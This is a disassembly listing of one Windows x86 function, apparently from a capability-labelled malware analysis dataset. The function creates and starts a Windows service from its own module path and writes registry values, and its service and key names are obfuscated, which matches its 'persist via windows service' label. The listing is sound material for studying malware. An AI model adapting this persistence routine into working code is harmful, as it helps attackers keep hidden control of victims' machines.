Function at 0x1002b3d4
Capabilities:
Create service
Persist via windows service
Set registry value
Start service

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x10048b13
mov eax, dword fs:[0]
push eax
sub esp, 0x360
mov eax, dword [0x10069410]
xor eax, esp
mov dword [esp + 0x358], eax
push ebx
push esi
push edi
mov eax, dword [0x10069410]
xor eax, esp
push eax
lea eax, [esp + 0x370]
mov dword fs:[0], eax
mov edi, dword [ebp + 8]
mov ecx, edi
call fcn.1002c0b1
xor ebx, ebx
test al, al
je 0x1002b438
push 0x104
lea eax, [esp + 0x260]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0xf003f
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebx, eax
mov dword [esp + 0x1c], ebx
test ebx, ebx
je 0x1002b87e
mov edx, str.hE7wyRMi9WhD
lea ecx, [esp + 0x24]
call fcn.1000ad15
and dword [esp + 0x378], 0
cmp dword [eax + 0x14], 0x10
jb 0x1002b471
mov eax, dword [eax]
push 0x10
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
or dword [esp + 0x378], 0xffffffff
xor eax, eax
lea ecx, [esp + 0x24]
xor ebx, ebx
inc eax
push ebx
push eax
call fcn.100107d6
test esi, esi
je 0x1002b4a2
push ebx
push ebx
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push 0x103
lea eax, [esp + 0x59]
mov byte [esp + 0x58], bl
push 0
push eax
call fcn.1002d750
xor eax, eax
add esp, 0xc
mov dword [esp + 0x4c], eax
mov dword [esp + 0x50], eax
mov dword [esp + 0x50], 0xf
mov dword [esp + 0x4c], eax
mov byte [esp + 0x3c], al
inc eax
mov dword [esp + 0x378], eax
mov edx, str.hiuBPGP72G7i5YJu9YMn9EQ35tCghEP32O7u5YykpEPx2DD
lea ecx, [esp + 0x24]
call fcn.1000ad15
mov byte [esp + 0x378], 2
xor esi, esi
push 0xffffffffffffffff
push esi
push eax
lea ecx, [esp + 0x48]
call fcn.1000f2f9
xor eax, eax
inc eax
mov byte [esp + 0x378], al
lea ecx, [esp + 0x24]
push esi
push eax
call fcn.100107d6
push 0x100705a4
call fcn.10006739
pop ecx
push eax
push 0x100705a4
lea ecx, [esp + 0x44]
call fcn.10005385
mov edx, str.2O4H5tOSy2Mu5YID
lea ecx, [esp + 0x24]
call fcn.1000ad15
mov byte [esp + 0x378], 3
lea ecx, [esp + 0x3c]
push 0xffffffffffffffff
push esi
push eax
call fcn.1000f2f9
xor eax, eax
inc eax
mov byte [esp + 0x378], al
lea ecx, [esp + 0x24]
push esi
push eax
call fcn.100107d6
mov edx, str.Txk5PEuVyWC15icBN273yR3xIucxvt7w9173ltPyrDSzjDD
lea ecx, [esp + 0x24]
call fcn.1000ad15
mov byte [esp + 0x378], 4
cmp dword [eax + 0x14], 0x10
jb 0x1002b586
mov eax, dword [eax]
push 0xffffffffffffffff
push eax
lea eax, [esp + 0x5c]
push 0x104
push eax
call fcn.100014e3
xor eax, eax
add esp, 0x10
inc eax
mov byte [esp + 0x378], al
lea ecx, [esp + 0x24]
push esi
push eax
call fcn.100107d6
push 0x40
mov esi, 0x100705a4
lea eax, [esp + 0x58]
push esi
push 0x104
push eax
call fcn.100014e3
add esp, 0x10
xor eax, eax
push eax
push eax
push eax
push eax
push eax
lea eax, [esp + 0x68]
push eax
xor eax, eax
inc eax
push eax
push 2
push 0x20
push 0xf01ff
push esi
push esi
push dword [esp + 0x4c]
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov esi, eax
mov dword [esp + 0x18], esi
test esi, esi
je 0x1002b6da
mov edx, str.h3CWPOv4haP5BRus5tCx9Ey32Ovk9tMAv1ImBuM5T1Pj5tPVvOyu5Y7k9EQ5h1yszWCxvDD
lea ecx, [esp + 0x24]
call fcn.1000ad15
mov byte [esp + 0x378], 5
cmp dword [eax + 0x14], 0x10
jb 0x1002b61b
mov eax, dword [eax]
push 0x40
mov ecx, 0x100705a4
push ecx
push 7
push ecx
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.SHLWAPI.dll_SHSetValueA]
mov esi, eax
xor eax, eax
inc eax
mov byte [esp + 0x378], al
lea ecx, [esp + 0x24]
push 0
push eax
call fcn.100107d6
test esi, esi
jne 0x1002b6d6
mov edx, str.hEPjvtusyhMg9DD
lea ecx, [esp + 0x24]
call fcn.1000ad15
mov edx, eax
mov byte [esp + 0x378], 6
cmp dword [edi + 0x14], 0x10
mov eax, dword [edi + 0x10]
jb 0x1002b677
mov esi, dword [edi]
jmp 0x1002b679
mov esi, edi
cmp dword [edx + 0x14], 0x10
jb 0x1002b681
mov edx, dword [edx]
cmp dword [esp + 0x50], 0x10
lea ecx, [esp + 0x3c]
inc eax
cmovae ecx, dword [esp + 0x3c]
push eax
push esi
push 2
push edx
push ecx
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.SHLWAPI.dll_SHSetValueA]
mov esi, eax
xor eax, eax
inc eax
mov byte [esp + 0x378], al
lea ecx, [esp + 0x24]
push 0
push eax
call fcn.100107d6
test esi, esi
mov esi, dword [esp + 0x18]
jne 0x1002b6da
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
push 1
pop eax
cmovne ebx, eax
jmp 0x1002b6da
mov esi, dword [esp + 0x18]
and dword [esp + 0x14], 0
lea ecx, [esp + 0x24]
mov edx, str.hiuBPGP72G7i5YJu9YMn9EQ35tCghEP32O7u5YykpEPx2GPEyRQ3BWCY2GOq5WckpEO3zRCV2ePxDD
call fcn.1000ad15
mov byte [esp + 0x378], 7
cmp dword [eax + 0x14], 0x10
jb 0x1002b6fd
mov eax, dword [eax]
push 0x100705a4
push eax
push 0xffffffffffffffff
lea eax, [esp + 0x168]
push 0x100
push eax
call fcn.10006991
xor eax, eax
add esp, 0x14
inc eax
mov byte [esp + 0x378], al
lea ecx, [esp + 0x24]
push 0
push eax
call fcn.100107d6
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x160]
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
je 0x1002b762
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push dword [esp + 0x1c]
call esi
xor ebx, ebx
jmp 0x1002b865
cmp dword [edi + 0x14], 0x10
jb 0x1002b76c
mov esi, dword [edi]
jmp 0x1002b76e
mov esi, edi
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x1002b771
sub esi, ecx
mov edx, str.M2yu9YM7y27xpRvuMtugyTD
lea ecx, [esp + 0x24]
call fcn.1000ad15
mov ecx, eax
mov byte [esp + 0x378], 8
cmp dword [edi + 0x14], 0x10
jb 0x1002b79c
mov edx, dword [edi]
jmp 0x1002b79e
mov edx, edi
cmp dword [ecx + 0x14], 0x10
jb 0x1002b7a6
mov ecx, dword [ecx]
lea eax, [esi + 1]
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push eax
push edx
push 2
push 0
push ecx
push dword [esp + 0x28]
call esi
xor eax, eax
inc eax
mov byte [esp + 0x378], al
lea ecx, [esp + 0x24]
push 0
push eax
call fcn.100107d6
mov edx, str.P0uqy27Bv24q91J3yRTD
mov dword [esp + 0x20], 7
lea ecx, [esp + 0x24]
call fcn.1000ad15
mov byte [esp + 0x378], 9
cmp dword [eax + 0x14], 0x10
jb 0x1002b7f8
mov eax, dword [eax]
push 4
lea ecx, [esp + 0x24]
push ecx
push 4
push 0
push eax
push dword [esp + 0x28]
call esi
xor eax, eax
inc eax
mov byte [esp + 0x378], al
lea ecx, [esp + 0x24]
push 0
push eax
call fcn.100107d6
push dword [esp + 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ecx
push ecx
push 0x100705a4
push 0x64
push 4
mov ecx, 0x100705a0
call fcn.1002bb57
push dword [esp + 0x18]
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push dword [esp + 0x1c]
call esi
test ebx, ebx
jne 0x1002b865
cmp dword [edi + 0x14], 0x10
jb 0x1002b85d
mov edi, dword [edi]
push edi
call fcn.1002b8a4
mov ebx, eax
or dword [esp + 0x378], 0xffffffff
xor eax, eax
push 0
inc eax
lea ecx, [esp + 0x40]
push eax
call fcn.100107d6
mov eax, ebx
mov ecx, dword [esp + 0x370]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x358]
xor ecx, esp
call fcn.1000adad
mov esp, ebp
pop ebp
ret 4